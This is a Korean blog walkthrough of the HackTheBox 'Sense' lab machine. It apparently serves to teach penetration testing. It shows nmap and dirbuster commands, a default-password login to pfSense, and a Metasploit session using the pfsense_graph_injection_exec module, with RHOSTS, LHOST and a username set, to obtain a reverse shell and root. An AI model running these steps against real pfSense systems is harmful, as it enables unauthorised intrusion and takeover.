HackTheBox - Sense 환경 실습
진행 절차
Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 nmap을 통해 확인해본 결과, HTTP, HTTPS가 Open되어 있음을 확인
Step 2. HTTP로 접근 시, HTTPS로 리다이렉트 되며 pfsense 페이지가 뜨는 것을 확인. pfsense 디폴트 계정 정보인 'admin/pfsense'로 로그인 시도 했을 때는 실패.
Step 3. 추가 정보를 획득하기 위해 파일 및 디렉토리 스캔 도구로 점검하는 과정에서 획득한 파일 대부분이 pfsense 로그인 페이지로 리다이렉트 되나 '/system-users.txt' 파일에서 계정 정보에 대한 정보 획득. 적혀 있는 정보로 로그인 했을 때 실패하였으나, 패스워드를 디폴트 패스워드인 pfsense로 로그인 시 로그인 성공 확인.
명령어 |
root@kali#dirbuster –u https://10.10.10.60 –t 20 –l /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt –e php,txt,html |
Step 4. 메인 화면에서 pfsense 버전 정보를 알 수 있었으며, 이 버전에 맞는 exploit 코드가 존재하는지 확인 했을 때, 공격 진행 시 즉각적으로 리버스 쉘을 탈취할 수 있는 Command Injection으로 공격을 수행 시 리버스 쉘 획득 및 루트 권한 획득 성공
※ PFsense Command Injection : status_rrd_graph_img.php는 그래프 매개변수의 입력값에 대해 검증을 하지 않아 이를 이용하여 악성 파일 업로드 등이 가능하다.
명령어 |
root@kali#searchsploit pfsense |
명령어 |
root@kali#msfconsole |
msf6 > search pFsense |
msf6 > use 2 |
msf6 exploit(unix/http/pfsense_graph_injection_exec) > show options |
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set RHOSTS 10.10.10.60 |
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 10.10.14.10 |
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set USERNAME rohit |
msf6 exploit(unix/http/pfsense_graph_injection_exec) > exploit |
'hackthebox' 카테고리의 다른 글
HackTheBox - Legacy (1) | 2024.01.04 |
---|---|
HackTheBox - SolidState (2) | 2023.11.30 |
HackTheBox - Nineveh (0) | 2023.11.22 |
HackTheBox - Cronos (2) | 2023.11.17 |
HackTheBox - Beep (0) | 2023.11.15 |